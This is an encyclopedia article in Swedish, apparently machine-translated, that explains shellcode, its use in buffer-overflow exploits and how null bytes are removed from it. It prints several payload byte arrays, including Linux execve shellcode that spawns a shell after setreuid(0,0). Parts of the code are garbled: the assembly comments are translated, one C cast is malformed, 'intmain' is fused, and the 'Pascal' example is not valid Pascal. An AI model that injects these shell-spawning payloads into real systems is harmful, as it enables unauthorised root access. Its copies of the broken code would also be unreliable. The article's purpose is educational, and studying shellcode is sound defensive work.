close

Skalkod

Gå till navigering Gå till sök

En skalkod är en uppsättning kommandon som vanligtvis är programmerade i assemblerspråk och överförs till opkoder (uppsättning hexadecimala värden) som vanligtvis injiceras i exekveringsstacken (eller stacken ) av ett program för att få maskinen på vilken den finns att utföra den schemalagda operationen .

Term

Termen skalkod härrör från deras allmänna syfte, detta var en del av en exploit som användes för att få ett skal , detta är för närvarande det vanligaste syftet de används för.

Pascal shellcode exempel

För att exekvera en skalkod används vanligtvis ett språk på högre nivå, till exempel språket Pascal . Opkoderna som erhålls från vår monteringskod listas i en array av typbyte och laddas in i en prototyp som ska anropas.

Ett exempel på en skalkod är följande:

 Prototypkörning _
 
 'Variabler. 
 Var ShellCode[]: Byte  ' Byte array för OpCode.. 
 Var Prototype:Exec    ' Prototyp som kommer att exekvera ShellCode.
 
 ' Initiera/ladda in ShellCode.
 ShellCode = [&31,&d2,&b2,&30,&64,&8b,&12,&8b,&52,&0c,&8b,&52,&1c,&8b,&42 _
 		,&08,&8b,&72,&20,&8b,&12,&80,&7e,&0c,&33,&75,&f2,&89,&c7,&03 _
 		,&78,&3c,&8b,&57,&78,&01,&c2,&8b,&7a,&20,&01,&c7,&31,&ed,&8b _
 		,&34,&af,&01,&c6,&45,&81,&3e,&46,&61,&74,&61,&75,&f2,&81,&7e _
 		,&08,&45,&78,&69,&74,&75,&e9,&8b,&7a,&24,&01,&c7,&66,&8b,&2c _
 		,&6f,&8b,&7a,&1c,&01,&c7,&8b,&7c,&af,&fc,&01,&c7,&68,&79,&74 _
 		,&65,&01,&68,&6b,&65,&6e,&42,&68,&20,&42,&72,&6f,&89,&e1,&fe_
 		,&49,&0b,&31,&c0,&51,&50,&ff,&d7]
 
 'Vi ställer in prototypkoden för att exekvera.
 Prototyp@ = ShellCode[0]@
 
 ' Vi kör ShellCode.
 Prototyp

Som man kan se är opkoder hexadecimala värden som konverteras till byte (heltalsvärden mellan 0 och 255) och som operativsystemet förstår som assemblerkod som det kör.

C-skalkodexempel

Följande exempel visar en skalkod som finns i en array av ett program skrivet på C-språk:

char shellcode[]=          
    "\x31\xc0" /* xorl %eax,%eax */
    "\x31\xdb" /* xorl %ebx,%ebx */
    "\x31\xc9" /* xorl %ecx,%ecx */
    "\xb0\x46" /* mov $0x46,%al */
    "\xcd\x80" /* int $0x80 */
    "\x50" /* pushl %eax */
    "\x68""/ash" /* pushl $0x6873612f */
    "\x68""/bin" /* pushl $0x6e69622f */
    "\x89\xe3" /* flytta %esp,%ebx */
    "\x50" /* pushl %eax */
    "\x53" /* tryck %ebx */
    "\x89\xe1" /* movl %esp,%ecx */
    "\xb0\x0b" /* movb $0x0b,%al */
    "\xcd\x80" /* int $0x80 */
;

Så vi har att en skalkod är maskinkod skriven i hexadecimal notation . De används senare i program skrivna i C, som i följande exempel på skalkoden:

// shellcode.c
// kompilera med gcc shellcode.c -o shellcode
void main()
{
((void (*))(void))
{
"\xeb\x19\x31\xc0\x31\xdb\x31\xd2\x31\xc9"
"\xb0\x04\xb3\x01\x59\xb2\x21\xcd\x80\x31"
"\xc0\xb0\x01\x31\xdb\xcd\x80\xe8\xe2\xff"
"\xff\xff\x76\x69\x73\x69\x74\x61\x20\x68"
"\x74\x74\x70\x3a\x2f\x2f\x68\x65\x69\x6e"
"\x7a\x2e\x68\x65\x72\x6c\x69\x74\x7a\x2e"
"\x63\x6c\x20\x3d\x29"
}
)();
}

Eller denna andra:

char shellcode[] = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f"
                   "\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0"
                   "\x0b\xcd\x80";
intmain()
{
    void (*fp)();
    fp = (void*) &shellcode;
    fp();
}

Information

Skalkoder måste vara korta för att kunna injiceras i stapeln, som vanligtvis är ett litet utrymme.

Skalkoder används för att exekvera kod genom att utnyttja vissa sårbarheter i koden som kallas buffertspill . Huvudsakligen är skalkoden programmerad för att tillåta en kommandotolk att köras på den infekterade datorn.

Det är vanligt att i kompileringen av en skalkod produceras nullbytes , som måste elimineras från den, eftersom de skulle stoppa exekveringen av skalkoden. För att göra detta använder programmeraren olika tekniker, som att ersätta instruktionerna som genererar NULL-bytes med andra som inte gör det eller utföra en XOR-operation, flytta till mindre register (som AH, AL), och på så sätt tillåta skalkoden vara riktigt injicerbar .

Se även